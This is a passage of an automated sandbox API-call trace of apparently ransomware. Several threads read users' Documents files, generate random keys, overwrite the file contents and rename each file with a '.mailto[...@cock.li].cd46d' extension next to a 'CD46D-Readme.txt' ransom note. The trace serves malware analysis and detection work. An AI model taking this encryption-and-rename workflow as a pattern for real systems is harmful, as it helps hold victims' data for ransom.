BaseAddress=0x95d05c0) returned 1 [0048.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440b60) returned 1 [0048.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47370) returned 1 [0048.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440b20) returned 1 [0048.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47348) returned 1 [0048.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb60) returned 1 [0048.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc00) returned 1 [0048.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc28) returned 1 [0048.133] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00a20 [0048.133] wcscpy (in: _Dest=0x5e00a20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc" [0048.133] wcscat (in: _Dest=0x5e00a20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc.mailto[2Hamlampampom@cock.li].cd46d" [0048.133] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x93ffe8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.133] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x5e47940 [0048.133] NtSetInformationFile (FileHandle=0x6d8, IoStatusBlock=0x93ffe84, FileInformation=0x5e47940, Length=0xda, FileInformationClass=0xa) returned 0x0 [0048.252] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47940) returned 1 [0048.252] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x451a38) returned 1 [0048.252] NtQueryInformationFile (in: FileHandle=0x6d8, IoStatusBlock=0x93ffe98, FileInformation=0x93ffe70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x93ffe98, FileInformation=0x93ffe70) returned 0x0 [0048.253] NtSetInformationFile (FileHandle=0x6d8, IoStatusBlock=0x93ffe98, FileInformation=0x93ffe70, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.254] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00a20) returned 1 [0048.254] FlushFileBuffers (hFile=0x6d8) returned 1 [0048.290] CloseHandle (hObject=0x6d8) returned 1 [0048.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.291] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.291] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.291] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447540) returned 1 Thread: id = 324 os_tid = 0xba4 [0047.859] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mqn4t2qvd8dkvqyxec.xlsx")) returned 0x20 [0047.859] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx", dwFileAttributes=0x20) returned 1 [0047.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mqn4t2qvd8dkvqyxec.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6dc [0047.859] GetFileSizeEx (in: hFile=0x6dc, lpFileSize=0x6b6f998 | out: lpFileSize=0x6b6f998*=14596) returned 1 [0047.859] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x3900, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.859] ReadFile (in: hFile=0x6dc, lpBuffer=0x6b6f91c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6b6f918, lpOverlapped=0x0 | out: lpBuffer=0x6b6f91c*, lpNumberOfBytesRead=0x6b6f918*=0x4, lpOverlapped=0x0) returned 1 [0047.860] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0047.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edbd8 [0047.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc50 [0047.860] NtQuerySystemTime (in: CurrentTime=0x6b6f8f8 | out: CurrentTime=0x6b6f8f8*=132174898118376000) returned 0x0 [0047.860] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x457bc88c [0047.860] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x2499408a [0047.860] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x16e4df87 [0047.860] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x605ade75 [0047.860] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x3af690cb [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x4748398b [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x76d519bd [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x26be9640 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x24f5783 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x21ced558 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x38a0e780 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x5ea1c0ba [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x5fc68341 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x1597cc13 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x5ad3938a [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x498df719 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0xb138159 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x2a564dc2 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x206fbe83 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x1d6c8103 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0xe5399ee [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x21c0e72e [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x335ef9c2 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x79aaeb11 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x5ebb0413 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x1a694383 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x3d0f6882 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x18578bdd [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x78fadb9d [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x3893f50 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x78443a68 [0047.861] RtlRandomEx (in: Seed=0x6b6f904 | out: Seed=0x6b6f904) returned 0x2c37bf48 [0047.874] ReadFile (in: hFile=0x6dc, lpBuffer=0x9715118, nNumberOfBytesToRead=0x3904, lpNumberOfBytesRead=0x6b6f8f4, lpOverlapped=0x0 | out: lpBuffer=0x9715118*, lpNumberOfBytesRead=0x6b6f8f4*=0x3904, lpOverlapped=0x0) returned 1 [0047.875] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.875] WriteFile (in: hFile=0x6dc, lpBuffer=0x9721920*, nNumberOfBytesToWrite=0x3904, lpNumberOfBytesWritten=0x6b6f8f0, lpOverlapped=0x0 | out: lpBuffer=0x9721920*, lpNumberOfBytesWritten=0x6b6f8f0*=0x3904, lpOverlapped=0x0) returned 1 [0048.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47398 [0048.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e473c0 [0048.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e473c0) returned 1 [0048.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721920) returned 1 [0048.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9715118) returned 1 [0048.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45d28) returned 1 [0048.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee060) returned 1 [0048.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x4ee060 [0048.089] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.089] WriteFile (in: hFile=0x6dc, lpBuffer=0x95d06e8*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x6b6f958, lpOverlapped=0x0 | out: lpBuffer=0x95d06e8*, lpNumberOfBytesWritten=0x6b6f958*=0x11f, lpOverlapped=0x0) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06e8) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee0f0) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e473c0) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee060) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47398) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edbd8) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc78) returned 1 [0048.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edca0) returned 1 [0048.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00af0 [0048.136] wcscpy (in: _Dest=0x5e00af0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx" [0048.136] wcscat (in: _Dest=0x5e00af0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx.mailto[2Hamlampampom@cock.li].cd46d" [0048.136] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6b6f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x449d80 [0048.136] NtSetInformationFile (FileHandle=0x6dc, IoStatusBlock=0x6b6f908, FileInformation=0x449d80, Length=0xde, FileInformationClass=0xa) returned 0x0 [0048.263] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449d80) returned 1 [0048.263] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x433680) returned 1 [0048.263] NtQueryInformationFile (in: FileHandle=0x6dc, IoStatusBlock=0x6b6f91c, FileInformation=0x6b6f8f4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6b6f91c, FileInformation=0x6b6f8f4) returned 0x0 [0048.263] NtSetInformationFile (FileHandle=0x6dc, IoStatusBlock=0x6b6f91c, FileInformation=0x6b6f8f4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.264] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00af0) returned 1 [0048.264] FlushFileBuffers (hFile=0x6dc) returned 1 [0048.291] CloseHandle (hObject=0x6dc) returned 1 [0048.293] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.293] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.293] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.293] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4475c8) returned 1 Thread: id = 325 os_tid = 0xba8 [0047.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mryluc5yoeic.xlsx")) returned 0x20 [0047.875] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx", dwFileAttributes=0x20) returned 1 [0047.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mryluc5yoeic.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6e0 [0047.876] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x451fb48 | out: lpFileSize=0x451fb48*=38974) returned 1 [0047.876] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x983a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.876] ReadFile (in: hFile=0x6e0, lpBuffer=0x451facc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x451fac8, lpOverlapped=0x0 | out: lpBuffer=0x451facc*, lpNumberOfBytesRead=0x451fac8*=0x4, lpOverlapped=0x0) returned 1 [0047.876] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.877] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0047.877] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc50 [0047.877] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edcc8 [0047.877] NtQuerySystemTime (in: CurrentTime=0x451faa8 | out: CurrentTime=0x451faa8*=132174898118532000) returned 0x0 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x6e946b54 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x56d9b660 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x34eaa697 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x28bed85f [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x2ba5028b [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x69ad825c [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x46e0b2b6 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x51f5b300 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x1da969c [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x32bedd94 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x110de68b [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x6de327 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x4d05c9fb [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x6d4607b1 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x50137547 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x76588348 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x2a9c2c5a [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x20b229f8 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x6d2491db [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x553af79e [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x4afb8bc [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x855d283 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x2d45899a [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x3222253a [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x1bb74b28 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x6e62b311 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x1c50efc6 [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x9362d5e [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x200f457d [0047.877] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x6100f3b5 [0047.878] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x96161d [0047.878] RtlRandomEx (in: Seed=0x451fab4 | out: Seed=0x451fab4) returned 0x4a4872d7 [0047.889] ReadFile (in: hFile=0x6e0, lpBuffer=0x972e128, nNumberOfBytesToRead=0x983e, lpNumberOfBytesRead=0x451faa4, lpOverlapped=0x0 | out: lpBuffer=0x972e128*, lpNumberOfBytesRead=0x451faa4*=0x983e, lpOverlapped=0x0) returned 1 [0047.890] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.891] WriteFile (in: hFile=0x6e0, lpBuffer=0x973a930*, nNumberOfBytesToWrite=0x983e, lpNumberOfBytesWritten=0x451faa0, lpOverlapped=0x0 | out: lpBuffer=0x973a930*, lpNumberOfBytesWritten=0x451faa0*=0x983e, lpOverlapped=0x0) returned 1 [0048.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441848 [0048.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0048.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0048.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x973a930) returned 1 [0048.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972e128) returned 1 [0048.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45da0) returned 1 [0048.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee0a8) returned 1 [0048.096] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40ad08 [0048.096] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.096] WriteFile (in: hFile=0x6e0, lpBuffer=0x95d0810*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x451fb08, lpOverlapped=0x0 | out: lpBuffer=0x95d0810*, lpNumberOfBytesWritten=0x451fb08*=0x113, lpOverlapped=0x0) returned 1 [0048.136] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0810) returned 1 [0048.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d088) returned 1 [0048.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0048.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ad08) returned 1 [0048.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441848) returned 1 [0048.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc50) returned 1 [0048.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edcf0) returned 1 [0048.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd18) returned 1 [0048.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x5e47a28 [0048.137] wcscpy (in: _Dest=0x5e47a28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx" [0048.137] wcscat (in: _Dest=0x5e47a28, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx.mailto[2Hamlampampom@cock.li].cd46d" [0048.137] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x451fac0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x5e47af0 [0048.137] NtSetInformationFile (FileHandle=0x6e0, IoStatusBlock=0x451fab8, FileInformation=0x5e47af0, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0048.265] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47af0) returned 1 [0048.265] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x450f70) returned 1 [0048.265] NtQueryInformationFile (in: FileHandle=0x6e0, IoStatusBlock=0x451facc, FileInformation=0x451faa4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x451facc, FileInformation=0x451faa4) returned 0x0 [0048.265] NtSetInformationFile (FileHandle=0x6e0, IoStatusBlock=0x451facc, FileInformation=0x451faa4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.266] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47a28) returned 1 [0048.266] FlushFileBuffers (hFile=0x6e0) returned 1 [0048.294] CloseHandle (hObject=0x6e0) returned 1 [0048.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.297] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.297] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.297] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.297] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400b18) returned 1 Thread: id = 326 os_tid = 0xbac [0047.891] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x4219d8 [0047.891] wcscpy (in: _Dest=0x4219d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" | out: 